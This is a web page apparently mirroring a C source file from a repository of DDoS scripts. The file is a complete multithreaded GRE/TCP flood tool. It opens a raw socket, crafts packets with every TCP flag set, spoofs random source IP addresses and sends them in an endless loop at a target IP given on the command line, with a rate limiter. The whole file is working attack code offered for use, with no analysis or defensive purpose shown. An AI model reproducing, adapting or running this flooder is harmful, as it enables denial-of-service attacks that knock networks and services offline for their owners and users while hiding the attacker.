Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/grev2.c
4565 views
1
#include <unistd.h>
2
#include <time.h>
3
#include <sys/types.h>
4
#include <sys/socket.h>
5
#include <sys/ioctl.h>
6
#include <string.h>
7
#include <stdlib.h>
8
#include <stdio.h>
9
#include <pthread.h>
10
#include <netinet/tcp.h>
11
#include <netinet/ip.h>
12
#include <netinet/in.h>
13
#include <netinet/if_ether.h>
14
#include <netdb.h>
15
#include <net/if.h>
16
#include <arpa/inet.h>
17
18
#define MAX_PACKET_SIZE 65534
19
#define PHI 0x9e3779b9
20
21
static unsigned long int Q[4096], c = 362436;
22
volatile int limiter;
23
volatile unsigned int pps;
24
volatile unsigned int sleeptime = 100;
25
26
void init_rand(unsigned long int x)
27
{
28
int i;
29
Q[0] = x;
30
Q[1] = x + PHI;
31
Q[2] = x + PHI + PHI;
32
for (i = 3; i < 4096; i++){ Q[i] = Q[i] ^ Q[i] ^ PHI ^ i; }
33
}
34
unsigned long int rand_cmwc(void)
35
{
36
unsigned long long int t, a = 18782LL;
37
static unsigned long int i = 4095;
38
unsigned long int x, r = 0xfffffffe;
39
i = (i + 1) & 4095;
40
t = a * Q[i] + c;
41
c = (t >> 32);
42
x = t + c;
43
if (x < c) {
44
x++;
45
c++;
46
}
47
return (Q[i] = r - x);
48
}
49
unsigned short csum (unsigned short *buf, int count)
50
{
51
register unsigned long sum = 0;
52
while( count > 1 ) { sum += *buf++; count -= 2; }
53
if(count > 0) { sum += *(unsigned char *)buf; }
54
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
55
return (unsigned short)(~sum);
56
}
57
58
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
59
60
struct tcp_pseudo
61
{
62
unsigned long src_addr;
63
unsigned long dst_addr;
64
unsigned char zero;
65
unsigned char proto;
66
unsigned short length;
67
} pseudohead;
68
unsigned short total_len = iph->tot_len;
69
pseudohead.src_addr=iph->saddr;
70
pseudohead.dst_addr=iph->daddr;
71
pseudohead.zero=0;
72
pseudohead.proto=IPPROTO_TCP;
73
pseudohead.length=htons(sizeof(struct tcphdr));
74
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
75
unsigned short *tcp = malloc(totaltcp_len);
76
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
77
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
78
unsigned short output = csum(tcp,totaltcp_len);
79
free(tcp);
80
return output;
81
}
82
83
void setup_ip_header(struct iphdr *iph)
84
{
85
iph->ihl = 5;
86
iph->version = 4;
87
iph->tos = 0;
88
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
89
iph->id = htonl(0xffff);
90
iph->frag_off = 0;
91
iph->ttl = MAXTTL;
92
iph->protocol = 47; //PROTO 47 GRE
93
iph->check = 0;
94
iph->saddr = inet_addr("192.168.3.100");
95
}
96
97
void setup_tcp_header(struct tcphdr *tcph)
98
{
99
tcph->source = htons(0xffff);
100
tcph->seq = htons(0xffff);
101
tcph->ack_seq = htons(0xffff);
102
tcph->res2 = 0;
103
tcph->doff = 10;
104
tcph->urg = 1;
105
tcph->ack = 1;
106
tcph->psh = 1;
107
tcph->rst = 1;
108
tcph->syn = 1;
109
tcph->fin = 1;
110
tcph->window = htons(0xffff);
111
tcph->check = 0;
112
tcph->urg_ptr = 0;
113
}
114
115
void *flood(void *par1)
116
{
117
char *td = (char *)par1;
118
char datagram[MAX_PACKET_SIZE];
119
struct iphdr *iph = (struct iphdr *)datagram;
120
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
121
122
struct sockaddr_in sin;
123
sin.sin_family = AF_INET;
124
sin.sin_port = htons(0xffff);
125
sin.sin_addr.s_addr = inet_addr(td);
126
127
int s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
128
if(s < 0){
129
fprintf(stderr, "Could not open raw socket.\n");
130
exit(-1);
131
}
132
memset(datagram, 0, MAX_PACKET_SIZE);
133
setup_ip_header(iph);
134
setup_tcp_header(tcph);
135
136
tcph->dest = htons(0xffff);
137
138
iph->daddr = sin.sin_addr.s_addr;
139
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
140
141
int tmp = 1;
142
const int *val = &tmp;
143
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
144
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
145
exit(-1);
146
}
147
148
init_rand(time(NULL));
149
register unsigned int i;
150
i = 0;
151
while(1){
152
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
153
154
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
155
iph->id = htons(0xffff);
156
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
157
tcph->seq = htons(0xffff);
158
tcph->source = htons(0xffff);
159
tcph->check = 0;
160
tcph->check = tcpcsum(iph, tcph);
161
162
pps++;
163
if(i >= limiter)
164
{
165
i = 0;
166
usleep(sleeptime);
167
}
168
i++;
169
}
170
}
171
int main(int argc, char *argv[ ])
172
{
173
if(argc < 5){
174
fprintf(stderr, "GRE Flooder!\n");
175
fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
176
exit(-1);
177
}
178
179
fprintf(stdout, "Setting up Sockets...\n");
180
181
int num_threads = atoi(argv[2]);
182
int maxpps = atoi(argv[3]);
183
limiter = 0;
184
pps = 0;
185
pthread_t thread[num_threads];
186
187
int multiplier = 100;
188
189
int i;
190
for(i = 0;i<num_threads;i++){
191
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
192
}
193
fprintf(stdout, "Starting Flood...\n");
194
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
195
{
196
usleep((1000/multiplier)*1000);
197
if((pps*multiplier) > maxpps)
198
{
199
if(1 > limiter)
200
{
201
sleeptime+=100;
202
} else {
203
limiter--;
204
}
205
} else {
206
limiter++;
207
if(sleeptime > 25)
208
{
209
sleeptime-=25;
210
} else {
211
sleeptime = 0;
212
}
213
}
214
pps = 0;
215
}
216
217
return 0;
218
}
219